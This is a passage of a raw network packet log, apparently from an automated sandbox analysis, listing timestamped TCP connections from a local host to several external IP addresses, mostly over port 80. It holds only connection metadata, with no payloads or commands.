Sep 26, 2024 15:11:18.191740990 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.191750050 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.191759109 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.191812038 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.191812038 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.191833973 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.191883087 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.192013025 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.192028999 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.192044020 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.192059994 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.192074060 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.192078114 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.192094088 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.192109108 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.192123890 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.192142010 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.192142010 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.192167997 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.192343950 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.192358971 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.192373991 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.192389965 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.192404985 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.192411900 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.192411900 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.192420959 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.192437887 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.192451954 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.192460060 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.192481041 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.192487955 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.192490101 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.192506075 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.192611933 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.192615986 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.192632914 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.192647934 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.192662954 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.192677975 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.192693949 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.192708969 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.192723989 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.192739010 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.192753077 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.192814112 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.192814112 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.192814112 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.192862988 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.192886114 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.193073988 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.193089962 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.193104982 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.193120003 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.193126917 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.193135023 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.193146944 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.193150043 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.193159103 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.193166018 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.193183899 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.193198919 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.193212986 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.193223953 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.193223953 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.193229914 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.193250895 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.193303108 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.193365097 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.193409920 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.193424940 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.193439960 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.193454027 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.193468094 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.193484068 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.193500996 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.193500996 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.193516970 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.193545103 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.193557978 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.193656921 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.238867998 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.238908052 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.238924026 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.238940954 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.238955975 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.238970995 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.238991976 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.239089012 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.239089012 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.239089012 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.277995110 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.278037071 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.278055906 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.278067112 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.278069973 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.278089046 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.278112888 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.278129101 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.278137922 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.278137922 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.278145075 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.278161049 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.278176069 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.278191090 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.278201103 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.278212070 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.278228998 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.278244019 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.278254032 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.278254032 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.278268099 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.278285027 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.278300047 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.278314114 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.278327942 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.278342962 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.278359890 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.278374910 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.278389931 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.278403997 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.278404951 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.278404951 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.278419971 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.278435946 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.278441906 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.278441906 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.278441906 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.278441906 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.278451920 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.278470039 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.278470993 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.278489113 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.278532028 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.278547049 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.278561115 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.278588057 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.278620005 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.278671980 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.278677940 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.278693914 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.278718948 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.278733015 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.278748035 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.278763056 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.278781891 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.278799057 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.278860092 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.278860092 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.278860092 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.278872967 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.278888941 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.278903008 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.278918982 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.279000998 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.279011965 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.279011965 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.279020071 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.279047966 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.279062986 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.279078007 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.279092073 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.279107094 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.279122114 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.279138088 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.279140949 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.279140949 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.279231071 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.279232025 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.279293060 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.279306889 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.279321909 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.279336929 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.279351950 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.279367924 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.279381037 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.279428959 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.279545069 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.279560089 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.279573917 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.279587984 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.279602051 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.279616117 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.279632092 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.279644966 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.279670954 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.279670954 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.279670954 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.279702902 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.279717922 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.279731989 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.279748917 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.279758930 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.279758930 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.279788017 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.279804945 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.279809952 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.279820919 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.279834986 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.279849052 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.279864073 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.279882908 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.279910088 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.279910088 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.279910088 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.280098915 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.280113935 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.280128956 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.280143023 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.280157089 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.280170918 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.280170918 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.280188084 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.280188084 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.280203104 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.280220985 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.280236006 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.280273914 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.280273914 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.280273914 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.280488968 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.280503988 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.280519009 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.280531883 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.280546904 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.280558109 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.280558109 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.280561924 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.280577898 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.280585051 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.280595064 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.280610085 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.280625105 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.280638933 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.280642033 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.280642033 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.280654907 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.280672073 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.280689955 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.280790091 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.280790091 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.280951977 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.280967951 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.280982018 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.280999899 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.281013966 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.281028986 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.281044006 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.281059027 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.281074047 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.281100035 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.281100035 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.281100035 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.281100035 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.281282902 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.296664000 CEST	80	49731	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:18.297122002 CEST	49730	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:18.298213005 CEST	49733	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:18.298255920 CEST	443	49733	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:18.298969030 CEST	49733	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:18.299271107 CEST	49733	443	192.168.2.12	188.114.96.3
Sep 26, 2024 15:11:18.299285889 CEST	443	49733	188.114.96.3	192.168.2.12
Sep 26, 2024 15:11:18.303503036 CEST	80	49730	158.101.44.242	192.168.2.12
Sep 26, 2024 15:11:18.304222107 CEST	49730	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:18.326097012 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.326194048 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.326242924 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.326280117 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.326313019 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.326344967 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.326379061 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.326411963 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.326611996 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.326611996 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.326611996 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.338006020 CEST	49731	80	192.168.2.12	158.101.44.242
Sep 26, 2024 15:11:18.365130901 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.365150928 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.365192890 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.365210056 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.365264893 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.365281105 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.365286112 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.365289927 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.365300894 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.365329981 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.365329981 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.365365982 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.365380049 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.365432024 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.365462065 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.365477085 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.365492105 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.365534067 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.365562916 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.365580082 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.365596056 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.365614891 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.365669966 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.365704060 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.365709066 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.365734100 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.365748882 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.365765095 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.365781069 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.365796089 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.365812063 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.365816116 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.365816116 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.365816116 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.365830898 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.365847111 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.365938902 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.365955114 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.365971088 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.365984917 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.366009951 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.366025925 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.366028070 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.366096973 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.366112947 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.366128922 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.366143942 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.366183996 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.366183996 CEST	49732	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:11:18.366246939 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.366262913 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.366293907 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.366307020 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.366321087 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.366334915 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.366349936 CEST	80	49732	172.86.66.70	192.168.2.12
Sep 26, 2024 15:11:18.366358995 CEST	49732	80	192.168.2.12	172.86.66.70
